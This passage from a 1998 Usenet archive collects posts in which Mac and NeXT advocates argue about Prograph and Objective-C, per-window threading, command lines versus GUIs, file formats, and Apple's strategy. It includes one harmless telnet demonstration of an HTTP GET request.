Rich Page, Daniel Lewin, George Crow, and Susan Barnes. Bud was a Mac
software guy, Rich was a hardware guy. (Jon Rubenstein, now in charge
of hardware at Apple, worked under him at NeXT.) Susan and Daniel were
on the sales and marketing side. George was in engineering, but I am not
clear about his exact role at either company.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 9 Sep 1998 20:25:15 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t6o7b$boq$2@news.mxol.com>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6t6g25$h1j$2@cronkite.cs.umd.edu>
seanl@cs.umd.edu (Sean Luke) wrote:
>Someone wrote:
>:> I wonder how many people know that the web boils down to a series of text
>:> commands which are sent from your computer to a server:
>:>
>:> HEAD /htdocs/index.html HTTP/1.0
>:>
>:> GET /htdocs/index.html HTTP/1.0
>:> ^^^^^^^^
>:> etc.
>
>In touting the ease of use of the command line, is it not ironic that you
>didn't get the GET command correct?
What was wrong?
% telnet www.codefab.com 80
Trying 206.148.46.10... Connected to www.codefab.com.
Escape character is '^]'.
GET /index.html HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 09 Sep 1998 20:21:53 GMT
Server: Apache/1.2.6
Last-Modified: Tue, 28 Apr 1998 21:49:44 GMT
ETag: "a85-b12-35464ef8"
Content-Length: 2834
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
[ ... ]
Lots of people still use software that doesn't understand HTTP 1.1 persistent
connections; "HTTP/1.0" as the version string works just fine....
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 9 Sep 1998 20:27:04 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t6oao$boq$3@news.mxol.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <EyzJr5.J8n@T-FCN.Net> <heaney-0809982325440001@24.0.246.137> <Ez0xsy.GJ9@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
[ ... ]
>> Actually, Prograph has a very similar runtime as Objective C, except all
>> data types are objects and reference counting is built in.
>
> Yup, not you've hit on my #1 complaint with Obj-C!
For obvious reasons, the performance of raw datatypes which correspond to
what the CPU supports is notably superior to the performance of objects.
Languages which do not permit low-level access to raw datatypes tend to not
be practical or efficient for some problem domains.
Of course, this does not mean that you should prematurely optimize, or that
there shouldn't be object representations for integer and floating point
numbers (and ranges, and enumerations, and complex numbers, etc) available.
Also, dealing with what in Java is called the "native call interface" is
vastly more convenient when you can call system routines or library code
without having to convert every argument you pass.
> That and the need to put *'s in front of objects, even though it doesn't
> support stack based objects anyway.
I'm not really sure what this means. An Obj-C object is effectively a set of
nested C structures. Normally, you pass pointers to structures on the stack,
not the structures themselves. But, there's nothing magical about the space
allocated by malloc() or +alloc method.
You could make space via alloca() and "create" a new instance by setting the
isa pointer appropriately and then sending a -init, or do a shallow copy of
another instance via bcopy()/memcpy(), etc. Of course, this is about as
crufty and useless as putting a plain old C structure on the stack.
(Which seems appropriate, since actually wanting to do something like that
means you're either twisted or have some unusual and compelling reasons...
:-)
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909981654340001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <EyzJr5.J8n@T-FCN.Net> <heaney-0809982325440001@24.0.246.137> <Ez0xsy.GJ9@T-FCN.Net>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 20:45:43 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 13:45:43 PDT
In article <Ez0xsy.GJ9@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> My big problem from the theory of the thing is that I'm not at all
> convinced that it truely simplies the portions that most people have problems
> with - it seems like a university experiment that was transetted to the "real
> world", where the problems are different.
The big benefit that I noticed, coming from C++, is that I was more often
able to get the code correct the first time. That indicated to me that the
language was helping me to understand the problem better. More than once,
I discovered a bug in some C code as I was translating it to Prograph.
Someone once told me that PI should have sold Prograph as a C debugger.
> Basically I don't think the ProGraph mechanism is the "correct" one for
> OOPS programming. It seems well suited to mathematics though. I think the
> AppWare mechanism is likely more proper - it diagrams logic flow as opposed
> to data flow. Is data flow the correct mechanism for programming? I don't
> know, I simply don't _think_ that way. Maybe there's a revalation on the far
> end once you "cross over", but the rest of the class libs made that of
> limited benefit.
The benefit of dataflow is that it removes the source of many errors.
There are no unitialized variables because there are no variables. There
are no concurrency errors because operation dependencies are naturally
revealed. And, of course, there are less typos! :) But there is a problem
with using dataflow for OOPS, which is that modifying objects is best done
by side effect. Prograph, therefore, only uses dataflow for primitive
datatypes. Still, its not a bad tradeoff, IMO.
> Now much of the ProGraph _enviornment_ was very nice - notably the superb
> debugger system and class layout views. No argument there. However these
> are generalized fixes that could (in theory at least) be applied to any
> language and did not really require a data flow language, they just did a
> good job there.
In practical matters, though, it makes a big difference. Object Master
tries to do for C++ what the Prograph editor does. It pales be comparison
because of all the assumptions that have to be made. The preprocessor
really knocks Object Master for a loop.
> > Prograph has a wonderful automatic documentation system and most, if not
> > all, of the framework is documented.
>
> This must be a HUGE change from the version I had (one of the early CPX's).
> Not only were the classes undocumented, but indeed the inputs on almost
> EVERYTHING unlabeled as well. The only way to figure out how to wire up one
> of the boxes was to open the (*$$*(&$ manual. Are you saying this problem
> has been fixed convincingly?
Every method has comments attached to it, but they are attached to the
method icons in the class method lists; not inside the methods themselves.
The automatic part is that any comments that you attach to sections,
methods, attributes or classes show up in the Info window, which is very
Think Reference like and automatically hyperlinked. One way to view the
comments is to Option-double-click on an operation icon.
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 09 Sep 1998 00:43:05 GMT
Organization: KU
Message-ID: <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Tue Sep 8 19:46:40 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Mon, 07 Sep 1998 14:19:43 -0700, not@work.bum (BrTe) wrote:
> The discussion was not about assembling, but rather that just having the
>greatest in one thing doesn't automatically get you the best car or the
>fastest car. For example, having a huge engine doesn't automatically make
>your car the fastest in the world, as the iMac has proven in the analogy
>(And certain 80's American sports cars like the old Camaros have proven
>going up against tiny little rockets with less power like the Supra, etc.).
I'd like to see any Supra go light to light against an IROC from that
era running a moderately tuned 396 or 400. The supra wouldn't stand a
chance. The same goes for the little imac (or any mac) when pitted
against a real computer running one or two fast PIIs.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 09 Sep 1998 00:22:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t4hob$44s$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com>
In article <6t3s3c$3os$1@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Again, the performance hit for enabling multithreading does not
> scale directly with the number of threads. Enabling MT at all
> produces the most significant hit; adding more threads (more windows)
> doesn't do much except potentially increase the thread switching
> overhead.
I'm not sure what you mean here. Do you mean using MT in a particular
application or in the operating system in general? Either way I must point out
that the BeOS feels very responsive.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
<6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com>
<6t4hjh$41c$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 00:51:25 GMT
In <6t4hjh$41c$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> In article <6t3s3c$3os$1@news.mxol.com>,
> "Charles W. Swiger" <chuck@codefab.com> wrote:
>
> > Highly variable-- depends on what you're doing with it.
>
> I'm willing to bet that most threads associated with windows aren't going
to
> use much stack.
Depending on the implementation this could lead to serious problems anyway
though. For instance every LWP under Solaris uses up about 8k - that doesn't
sound like much until you consider that's 8k of KERNEL stack! For this
reason Solaris also provides a user-threads package. I don't know what BeOS
does for this.
> I am talking about having a thread per window not a thread per operation.
Let's back up here, why exactly do we need a thread per window? I think
the idea here is to provide interactivity to the forground window while
processing events right? If so, wouldn't offloading the _responder chain_ to
a thread do the trick just as well? If so, then you'd also have the side
effect that you could have a single thread and simply swap the instance vars.
Can someone point out a few cases where this wouldn't work?
> Can you point to anything specifically that leads you to believe this?
All od WWDC, they talked about it endlessly. Good!
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 09 Sep 1998 00:20:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t4hjh$41c$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com>
In article <6t3s3c$3os$1@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Highly variable-- depends on what you're doing with it.
I'm willing to bet that most threads associated with windows aren't going to
use much stack.
> "As easy" would be just fine by me.
It would be fine with me to. Let's see if Apple makes it happen.
> As a generalization, when the application is working with a finite
> resource that cannot be multithreaded for whatever reason. A specific
> example might be something like a SCSI disk formatter, or a
> defragmentation utility.
I am talking about having a thread per window not a thread per operation.
Such a utility would probably only have a single window. And if it did have
more than one window (like a window per drive or per drive being formatted)
then it would probably benefit from having a thread per window. Still, what
is the down side if you don't take advantage of having a thread per window? A
tiny bit of extra resource usage?
> Everything I see suggests that Apple is working to do more that make
> the Appkit reentrant (although that is certainly a significant thing
> to do).
Can you point to anything specifically that leads you to believe this?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909981706040001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <EyzJr5.J8n@T-FCN.Net> <heaney-0809982325440001@24.0.246.137> <Ez0xsy.GJ9@T-FCN.Net> <6t6oao$boq$3@news.mxol.com>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 20:57:14 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 13:57:14 PDT
In article <6t6oao$boq$3@news.mxol.com>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> For obvious reasons, the performance of raw datatypes which correspond to
> what the CPU supports is notably superior to the performance of objects.
> Languages which do not permit low-level access to raw datatypes tend to not
> be practical or efficient for some problem domains.
>
> Of course, this does not mean that you should prematurely optimize, or that
> there shouldn't be object representations for integer and floating point
> numbers (and ranges, and enumerations, and complex numbers, etc) available.
A colleague of mine used to say, "Using C for application development is a
premature optimization."
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Date: Wed, 9 Sep 1998 00:52:29 GMT
In <6t4hob$44s$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> I'm not sure what you mean here. Do you mean using MT in a particular
> application or in the operating system in general? Either way I must point
out
> that the BeOS feels very responsive.
Yes it does, and why is a big question. Ask as I might, including people
who worked there, I never found out.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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Date: Wed, 9 Sep 1998 21:34:49 GMT
In <6t6oao$boq$3@news.mxol.com> "Charles W. Swiger" wrote:
> For obvious reasons, the performance of raw datatypes which correspond to
> what the CPU supports is notably superior to the performance of objects.
> Languages which do not permit low-level access to raw datatypes tend to not
> be practical or efficient for some problem domains.
No, not that, ref counting. I wish the OpenStep runtime did garbage
collection.
But on that point, yeah, that gets on my nerves too. But I'm willing to
forgive this if it translates into real speed differences.
> Also, dealing with what in Java is called the "native call interface" is
> vastly more convenient when you can call system routines or library code
> without having to convert every argument you pass.
Agreed, although this is less a point for YB apps, which is the context in
this case (I think).
> I'm not really sure what this means. An Obj-C object is effectively a set
of
> nested C structures. Normally, you pass pointers to structures on the
stack,
> not the structures themselves. But, there's nothing magical about the
space
> allocated by malloc() or +alloc method.
I know, but I hate the _syntax_. There's a couple of places where it
simply seems odd how the language flows from very Obj-like to very C-like and
the result doesn't look nice.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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Organization: none
References: <B21C2ED8-AA975@206.165.43.114> <B21C3FFD-EB0D2@206.165.43.114>
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Date: Wed, 9 Sep 1998 21:52:02 GMT
In <B21C3FFD-EB0D2@206.165.43.114> "Lawson English" wrote:
> Maury, I just looked at the PS Extreme press release. It said that PSE is
> based on the PDF imaging model. I couldn't find ANYTHING that said that PS
> Extreme would handle things like 3D transforms or transparency options or
> anything else that a shape-based pre-press solution [like GX] handles that
> PS/PDF doesn't.
I didn't say it did.
Maury
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Message-ID: <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net>
Date: Wed, 09 Sep 1998 00:56:33 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 20:56:33 EDT
Organization: Bell Solutions
In article <Eyz29G.8L0@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <B21882EA-3A2A@206.165.43.166> "Lawson English" wrote:
>> >Binary, text, shminary, whatever.
>>
>> Well, it's faster to access if it is in binary format.
>
> Wrong, this is Unix remember? The fastest is a ZIPped text file, a format
>the OS will be wonderfully good at handling.
A zipped text file is a binary file.
But, then to parse the zipped text file, one must decompress it; and then
you still have to parse the larger text file.
I think the original poster (for this sub-thread) asserts that a binary
file is more efficient. Less "stuff" byte-wise to read and parse before
you've extracted your content, which you probably store in a non-text form
in memory anyway. Less space taken up on disk. Less work for the
programmer to implement.
It's a tradeoff between what's easy for the "user" (it's easier for humans
to go in and modify/ a human-readable text file), and what's easier/more
efficent for the implementor.
GLo
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 09 Sep 1998 16:36:56 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F6F4F8.F3327219@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137>
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John Heaney wrote:
> If you only used the computer an hour a day, do you think it would be
> worthwhile to invest the energy to learn how to use a CLI?
What can you do in just one hour a day? I can think of a few things, but
I'd have to be using a CLI.
> But you're basing this on today's GUIs. If there were a scripting language
> like Prograph built-in to the operating system, the way the shell is in
> unix,
Ah! Exactly!
[cut]
> I only forsee programmers using it, so I don't see why it should be part
> of the standard user configuration. If it's going to be a distraction for
> Apple then it definitely shouldn't. I could see Apple getting a lot of
> tech support calls from people who got in over their heads.
A lot more than just developers will need to use it. Did you know that
Microsoft bundled WINIPCFG.EXE so that users could check their IP
address and report it to their ISP during support calls? It requires a
command-line. That's why the DOS shell is in there.
Why not provide a GUI for this, you might ask. I think it's because it
was more important to "hide" the IP address from the user than it was to
"hide" the command-line, for simplicity's sake. This is what confuses me
about all this talk of "hiding the command-line". Why are you hiding the
command-line? Why don't you work on hiding the inadequacies of the OS
instead of the strengths?
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 9 Sep 1998 21:54:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t6te6$cpb@newsb.netnews.att.com>
References: <heaney-0509981648590001@24.0.246.137> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <35F6D06C.562D8CEA@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>John Jensen wrote:
>
>> If we use language and words for so many things, why is it inappropriate
>> to direct a computer by words?
>>
>> It seems an arbitrary distinction.
>
>I wonder how many of those who dismiss the CLI would be glad to be able
>to speak to their computer. I think it's an issue of laziness, and lazy
>people rarely realize that they would actually save more time and effort
>if they'd make an up-front investment of the same.
a. The machine should, as far as possible, adapt to the human,
and not the other way around. Some people may think that this attitude
constitutes laziness.
b. I use the CLI all day, write a lot of SQL/awk/ksh scripts;
anything I know beforehand is going to be done more than once
I script. I am a proponent of using this stuff as
opposed to the alternatives currently available. Nevertheless, I am
convinced that these methods are for the few. Far too many people find
it far too difficult.
c. I used to hold the belief that people didn't learn mathematics or
the "hard" sciences because of bad attitude. I now realize that
these can be genuinely hard for people; and there are other things that
people may want to spend time on. And there is more intrinsic value,
in my opinion, in understanding ideas in mathematics or physics, than
knowing by-heart a ton of CLI commands. Someone who doesn't use or want
the CLI simply has another set of interesting things to do; it is not
a matter of laziness.
-arun gupta
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 09 Sep 1998 15:11:07 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0909981511080001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
In article <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-0809981048120001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
>> No new code bases.
>
>Funny... new code is "revitalizing" the old code they own. Psion would do
>the same...
Would it? After Apple has MacOS and OpenStep, how much does Psion bring?
We've already seen Apple have to strike a middle ground between MacOS and
OpenStep with Carbon. Does Psion introduce 2 more [Psion/MacOS,
Psion/OpenStep]?
Or does Apple have enough now that they should simply rework their
existing APIs to a more suitable foundation for a handheld or palmtop?
>> Maybe that's Steve's new lesson - what he learned at NeXT and Pixar: Build
>> what will be selling in 10 years, but be patient enough with it that it
>> sells when the market is ready, and not before.
>
>This sounds more like hindsight, than insight. NeXT taught that you can't
>move markets alone. Pixar, rather the collaboration w/Disney, was the
>affirmation of that in spades.
It is hindsight. But so long as it is present at Apple is what matters.
>> Both the Mac and the NeXT
>> jumped the gun too much - the market didn't know what to make of this
>> stuff. They didn't really *get* it, except in isolated groups.
>
>That nobody "got it" is elitist. It's a very poor excuse for not doing a
>good enough job in the first place.
Fair enough. The idea wasn't good enough for the market to meet them
halfway and overlook other failings. Time would have solved a number of
Apple and NeXT's failings.
>The Mac by all measures was a complete
>success and in no way "ahead" of its time by 10 years.
The Mac was a near failure until Pagemaker and the Laserwriter came along.
It was a solution looking for a problem and fortunately one came along.
Everyone thought it was cool, but without those other two pieces it wasn't
enough to move the market.
>> iMac looks
>> technically boring to me, but clearly the timing is right for the market.
>>
>Huh? I haven't seen one (1) iMac anywhere. I don't know anyone personally,
>socially or inconsequentially who has bought an iMac. That was not the case
>for the Mac in 84.
Anywhere as in stores, etc? I don't have any close friends, etc. (that I
know of) since they tend toward heavier duty hardware - that's just the
social circle that I operate in. And even if one of my relatives did buy
one recently, I wouldn't have heard about it, I don't think. Keep in mind
I have a new baby at home, so there are far more interesting things to
discuss, plus I *really* don't get out much! :-)
One difference with the iMac over the original Mac is that they sell to a
different market. I've managed to get most of my relatives to buy a Mac
already - they don't need an iMac now, though maybe as a replacement down
the road. As soon as the USB Zips ship, I'll start selling my mom on one.
She detests her PC.
Of course, the first person that I ever met socially that had bought an
original 1984 Mac was in 1991. So it took me 7 years to bump into that
person and gain that knowledge. I suspect it will take far less time to
find my first iMac person.
-Bob Cassidy
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 9 Sep 1998 01:28:21 GMT
Organization: Idiom Communications
Message-ID: <6t4ljl$fjb$1@news.idiom.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74>
<joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net>
<tapella-0709981610060001@22w2-1.dyn.pas teur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net>
<tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net>
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Cc: spagiola@my-dejanews.com
spagiola@my-dejanews.com may or may not have said:
-> seanl@cs.umd.edu (Sean Luke) wrote:
-> > Michelle L. Buck (buck.erik@mcleod.net) wrote:
-> > : Many of the same people who
-> > : created the Mac menu system went on to build the vertical menus.
Maybe they
-> > : had a reason.
-> >
-> > I can think of not one person working for NeXT who was on the original
-> > Mac/Lisa team.
->
-> Steve Jobs?
Bud Tribble?
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 09 Sep 1998 17:35:27 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F702AF.BA9E9097@ericsson.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >I wonder how many of those who dismiss the CLI would be glad to be able
> >to speak to their computer. I think it's an issue of laziness, and lazy
> >people rarely realize that they would actually save more time and effort
> >if they'd make an up-front investment of the same.
>
> a. The machine should, as far as possible, adapt to the human,
> and not the other way around. Some people may think that this attitude
> constitutes laziness.
Yeah, I know that's a popular attitude. There's nothing *wrong* with it,
except that it assumes that computers are actually a technological
maidservant rather than a tool. I'd prefer that a computer be optimized
for maximum impact on my work. The attitude you describe places the
emphasis on maximum comfort. Hey, it's up to you what kind of computer
